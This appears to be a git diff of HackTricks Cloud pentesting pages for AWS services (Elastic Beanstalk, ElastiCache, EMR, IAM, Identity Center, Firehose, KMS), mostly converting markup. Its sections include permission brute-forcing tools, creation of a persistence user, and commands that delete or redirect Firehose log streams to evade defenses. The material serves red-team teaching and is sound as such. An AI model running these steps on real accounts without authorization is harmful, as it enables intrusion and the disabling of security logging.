+  - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier).
+- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role.
+  - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)
 
 By default **metadata version 1 is disabled**:
 
-<figure><img src="../../../.gitbook/assets/image (103).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (103).png" alt=""><figcaption></figcaption></figure>
 
 ### Exposure
 
@@ -74,15 +61,13 @@ Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticb
 
 The **URL** of the created webpage is **`http://<webapp-name>-env.<random>.<region>.elasticbeanstalk.com/`**
 
-{% hint style="warning" %}
-If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it
-
-if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed.
-{% endhint %}
+> [!WARNING]
+> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it
+>
+> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed.
 
 ### Enumeration
 
-{% code overflow="wrap" %}
 ```bash
 # Find S3 bucket
 ACCOUNT_NUMBER=<account_number>
@@ -100,43 +85,29 @@ aws elasticbeanstalk describe-instances-health --environment-name <env_name> # G
 # Get events
 aws elasticbeanstalk describe-events
 ```
-{% endcode %}
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md" %}
-[aws-elastic-beanstalk-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
+{{#endref}}
 
 ### Persistence
 
-{% content-ref url="../aws-persistence/aws-elastic-beanstalk-persistence.md" %}
-[aws-elastic-beanstalk-persistence.md](../aws-persistence/aws-elastic-beanstalk-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-elastic-beanstalk-persistence.md
+{{#endref}}
 
 ### Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md" %}
-[aws-elastic-beanstalk-privesc.md](../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md" %}
-[aws-elastic-beanstalk-post-exploitation.md](../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
new file mode 100644
index 000000000..69561eb89
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
@@ -0,0 +1,45 @@
+# AWS - ElastiCache
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ElastiCache
+
+AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**.
+
+### Enumeration
+
+```bash
+# ElastiCache clusters
+## Check the SecurityGroups to later check who can access
+## In Redis clusters: Check AuthTokenEnabled to see if you need password
+## In memcache clusters: You can find the URL to connect
+aws elasticache describe-cache-clusters
+
+# List all ElastiCache replication groups
+## Find here the accesible URLs for Redis clusters
+aws elasticache describe-replication-groups
+
+#List all ElastiCache parameter groups
+aws elasticache describe-cache-parameter-groups
+
+#List all ElastiCache security groups
+## If this gives an error it's because it's using SGs from EC2
+aws elasticache describe-cache-security-groups
+
+#List all ElastiCache subnet groups
+aws elasticache describe-cache-subnet-groups
+
+# Get snapshots
+aws elasticache describe-snapshots
+
+# Get users and groups
+aws elasticache describe-user-groups
+aws elasticache describe-users
+
+# List ElastiCache events
+aws elasticache describe-events
+```
+
+### Privesc (TODO)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
new file mode 100644
index 000000000..12373e9bd
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
@@ -0,0 +1,60 @@
+# AWS - EMR Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EMR
+
+AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark.
+
+Key characteristics include:
+
+- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features:
+  - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider.
+  - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop:
+    - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer.
+    - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm.
+- **Encryption in Transit**: Focuses on securing data during transfer. Options include:
+  - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider:
+    - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket.
+    - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts.
+
+Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version:
+
+- **Hadoop**:
+  - Might reduce encrypted shuffle using TLS.
+  - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption.
+- **Presto** (EMR version 5.6.0+):
+  - Internal communication between Presto nodes is secured using SSL and TLS.
+- **Tez Shuffle Handler**:
+  - Utilizes TLS for encryption.
+- **Spark**:
+  - Employs TLS for the Akka protocol.
+  - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service.
+  - External shuffle service is secured with the Simple Authentication Security Layer.
+
+These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases.
+
+#### Enumeration
+
+```bash
+aws emr list-clusters
+aws emr describe-cluster --cluster-id <id>
+aws emr list-instances --cluster-id <id>
+aws emr list-instance-fleets --cluster-id <id>
+aws emr list-steps --cluster-id <id>
+aws emr list-notebook-executions
+aws emr list-security-configurations
+aws emr list-studios #Get studio URLs
+```
+
+#### Privesc
+
+{{#ref}}
+../aws-privilege-escalation/aws-emr-privesc.md
+{{#endref}}
+
+## References
+
+- [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
similarity index 66%
rename from pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
index 40a1e3b6d..618b98e7a 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
@@ -1,43 +1,30 @@
 # AWS - IAM, Identity Center & SSO Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
 You can find a **description of IAM** in:
 
-{% content-ref url="../aws-basic-information/" %}
-[aws-basic-information](../aws-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-basic-information/
+{{#endref}}
 
 ### Enumeration
 
 Main permissions needed:
 
-* `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
-* `iam:ListRoles`
-* `iam:ListUsers`
-* `iam:ListGroups`
-* `iam:ListGroupsForUser`
-* `iam:ListAttachedUserPolicies`
-* `iam:ListAttachedRolePolicies`
-* `iam:ListAttachedGroupPolicies`
-* `iam:ListUserPolicies` and `iam:GetUserPolicy`
-* `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
-* `iam:ListRolePolicies` and `iam:GetRolePolicy`
+- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
+- `iam:ListRoles`
+- `iam:ListUsers`
+- `iam:ListGroups`
+- `iam:ListGroupsForUser`
+- `iam:ListAttachedUserPolicies`
+- `iam:ListAttachedRolePolicies`
+- `iam:ListAttachedGroupPolicies`
+- `iam:ListUserPolicies` and `iam:GetUserPolicy`
+- `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
+- `iam:ListRolePolicies` and `iam:GetRolePolicy`
 
 ```bash
 # All IAMs
@@ -111,12 +98,10 @@ If you are interested in your own permissions but you don't have access to query
 
 The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**.
 
-{% code overflow="wrap" %}
 ```bash
 # Bruteforce permissions
 bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
 ```
-{% endcode %}
 
 #### bf-aws-perms-simulate
 
@@ -131,33 +116,27 @@ python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
 
 If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**.
 
-{% code overflow="wrap" %}
 ```bash
 # Run example with my profile
 python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example.
-{% endhint %}
+> [!WARNING]
+> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example.
 
 #### Cloudtrail2IAM
 
 [**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**.
 
-{% code overflow="wrap" %}
 ```bash
 git clone https://github.com/carlospolop/Cloudtrail2IAM
 cd Cloudtrail2IAM
 pip install -r requirements.txt
 python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
 ```
-{% endcode %}
 
-{% hint style="warning" %}
-If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who.
-{% endhint %}
+> [!WARNING]
+> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who.
 
 #### enumerate-iam
 
@@ -165,11 +144,9 @@ To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://git
 
 (In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that).
 
-{% hint style="warning" %}
-In my experience this tool is like the previous one but working worse and checking less permissions
-{% endhint %}
+> [!WARNING]
+> In my experience this tool is like the previous one but working worse and checking less permissions
 
-{% code overflow="wrap" %}
 ```bash
 # Install tool
 git clone git@github.com:andresriancho/enumerate-iam.git
@@ -186,7 +163,6 @@ cd ..
 # Enumerate permissions
 python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION]
 ```
-{% endcode %}
 
 #### weirdAAL
 
@@ -218,9 +194,9 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
 
 #### Hardening Tools to BF permissions
 
-{% tabs %}
-{% tab title="CloudSploit" %}
-{% code overflow="wrap" %}
+{{#tabs }}
+{{#tab name="CloudSploit" }}
+
 ```bash
 # Export env variables
 ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json
@@ -231,10 +207,11 @@ jq 'map(select(.status | contains("UNKNOWN") | not))' /tmp/out-cloudsploit.json
 # Get services by regions
 jq 'group_by(.region) | map({(.[0].region): ([map((.resource | split(":"))[2]) | unique])})' ~/Desktop/pentests/cere/greybox/core-dev-dev-cloudsploit-filtered.json
 ```
-{% endcode %}
-{% endtab %}
 
-{% tab title="SteamPipe" %}
+{{#endtab }}
+
+{{#tab name="SteamPipe" }}
+
 ```bash
 # https://github.com/turbot/steampipe-mod-aws-insights
 steampipe check all --export=json
@@ -243,8 +220,9 @@ steampipe check all --export=json
 # In this case you cannot output to JSON, so heck it in the dashboard
 steampipe dashboard
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 #### \<YourTool>
 
@@ -252,37 +230,37 @@ Neither of the previous tools is capable of checking close to all permissions, s
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md" %}
-[aws-iam-and-sts-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+{{#endref}}
 
 ### Privilege Escalation
 
 In the following page you can check how to **abuse IAM permissions to escalate privileges**:
 
-{% content-ref url="../aws-privilege-escalation/aws-iam-privesc.md" %}
-[aws-iam-privesc.md](../aws-privilege-escalation/aws-iam-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-iam-privesc.md
+{{#endref}}
 
 ### IAM Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-iam-post-exploitation.md" %}
-[aws-iam-post-exploitation.md](../aws-post-exploitation/aws-iam-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-iam-post-exploitation.md
+{{#endref}}
 
 ### IAM Persistence
 
-{% content-ref url="../aws-persistence/aws-iam-persistence.md" %}
-[aws-iam-persistence.md](../aws-persistence/aws-iam-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-iam-persistence.md
+{{#endref}}
 
 ## IAM Identity Center
 
 You can find a **description of IAM Identity Center** in:
 
-{% content-ref url="../aws-basic-information/" %}
-[aws-basic-information](../aws-basic-information/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-basic-information/
+{{#endref}}
 
 ### Connect via SSO with CLI
 
@@ -301,15 +279,14 @@ sso_region = us-east-1
 
 The main elements of the Identity Center are:
 
-* Users and groups
-* Permission Sets: Have policies attached
-* AWS Accounts
+- Users and groups
+- Permission Sets: Have policies attached
+- AWS Accounts
 
 Then, relationships are created so users/groups have Permission Sets over AWS Account.
 
-{% hint style="info" %}
-Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there).
-{% endhint %}
+> [!NOTE]
+> Note that there are 3 ways to attach policies to a Permission Set. Attaching AWS managed policies, Customer managed policies (these policies needs to be created in all the accounts the Permissions Set is affecting), and inline policies (defined in there).
 
 ```bash
 # Check if IAM Identity Center is used
@@ -390,51 +367,36 @@ external_id = 123456
 
 ### Unauthenticated Access
 
-{% content-ref url="../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md" %}
-[aws-identity-center-and-sso-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
+{{#endref}}
 
 ### Privilege Escalation
 
-{% content-ref url="../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md" %}
-[aws-sso-and-identitystore-privesc.md](../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+{{#endref}}
 
 ### Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md" %}
-[aws-sso-and-identitystore-post-exploitation.md](../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+{{#endref}}
 
 ### Persistence
 
 #### Create a user an assign permissions to it
 
-{% code overflow="wrap" %}
 ```bash
 # Create user identitystore:CreateUser
 aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
 ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
 ```
-{% endcode %}
 
-* Create a group and assign it permissions and set on it a controlled user
-* Give extra permissions to a controlled user or group
-*   By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center.
+- Create a group and assign it permissions and set on it a controlled user
+- Give extra permissions to a controlled user or group
+- By default, only users with permissions form the Management Account are going to be able to access and control the IAM Identity Center.
 
-    However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
+  However, it's possible via Delegate Administrator to allow users from a different account to manage it. They won't have exactly the same permission, but they will be able to perform [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
new file mode 100644
index 000000000..207c1d53f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kinesis-data-firehose-enum.md
@@ -0,0 +1,51 @@
+# AWS - Kinesis Data Firehose Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Kinesis Data Firehose
+
+Amazon Kinesis Data Firehose is a **fully managed service** that facilitates the delivery of **real-time streaming data**. It supports a variety of destinations, including Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk, and custom HTTP endpoints.
+
+The service alleviates the need for writing applications or managing resources by allowing data producers to be configured to forward data directly to Kinesis Data Firehose. This service is responsible for the **automatic delivery of data to the specified destination**. Additionally, Kinesis Data Firehose provides the option to **transform the data prior to its delivery**, enhancing its flexibility and applicability to various use cases.
+
+### Enumeration
+
+```bash
+# Get delivery streams
+aws firehose list-delivery-streams
+
+# Get stream info
+aws firehose describe-delivery-stream --delivery-stream-name <name>
+## Get roles
+aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i RoleARN
+```
+
+## Post-exploitation / Defense Bypass
+
+In case firehose is used to send logs or defense insights, using these functionalities an attacker could prevent it from working properly.
+
+### firehose:DeleteDeliveryStream
+
+```
+aws firehose delete-delivery-stream --delivery-stream-name <value> --allow-force-delete
+```
+
+### firehose:UpdateDestination
+
+```
+aws firehose update-destination --delivery-stream-name <value> --current-delivery-stream-version-id <value> --destination-id <value>
+```
+
+### firehose:PutRecord | firehose:PutRecordBatch
+
+```
+aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVsbG8gd29ybGQ="}'
+
+aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json
+```
+
+## References
+
+- [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
new file mode 100644
index 000000000..b64eee2d5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-kms-enum.md
@@ -0,0 +1,158 @@
+# AWS - KMS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## KMS - Key Management Service
+
+AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys.
+
+KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**.
+
+KMS is a **region specific service**.
+
+**Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used.
+
+**Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data.
+
+A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK.
+
+There are 2 types of master keys:
+
+- **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it.
+- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys.
+
+**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**.
+
+### Key Policies
+
+These defines **who can use and access a key in KMS**.
+
+By **default:**
+
+- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM.
+
+  Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one.
+
+  - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work.
+
+- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy.
+
+  **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective.
+
+- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted.
+
+**Default policy** example:
+
+```json
+{
+  "Sid": "Enable IAM policies",
+  "Effect": "Allow",
+  "Principal": {
+    "AWS": "arn:aws:iam::111122223333:root"
+  },
+  "Action": "kms:*",
+  "Resource": "*"
+}
+```
+
+> [!WARNING]
+> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**.
+
+<details>
+
+<summary>Policy Details</summary>
+
+Properties of a policy:
+
+- JSON based document
+- Resource --> Affected resources (can be "\*")
+- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions)
+- Effect --> Allow/Deny
+- Principal --> arn affected
+- Conditions (optional) --> Condition to give the permissions
+
+Grants:
+
+- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...)
+- After the grant is created a GrantToken and a GratID are issued
+
+**Access**:
+
+- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy
+- Via **IAM policy**
+- Via **grants**
+
+</details>
+
+### Key Administrators
+
+Key administrator by default:
+
+- Have access to manage KMS but not to encrypt or decrypt data
+- Only IAM users and roles can be added to Key Administrators list (not groups)
+- If external CMK is used, Key Administrators have the permission to import key material
+
+### Rotation of CMKs
+
+- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases.
+- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed.
+- **Older keys are retained** to decrypt data that was encrypted prior to the rotation
+- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**.
+- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled.
+
+#### Manual rotation
+
+- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID.
+- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to.
+- You need to **keep old keys to decrypt old files** encrypted with it.
+
+You can import keys from your on-premises key infrastructure .
+
+### Other relevant KMS information
+
+KMS is priced per number of encryption/decryption requests received from all services per month.
+
+KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
+
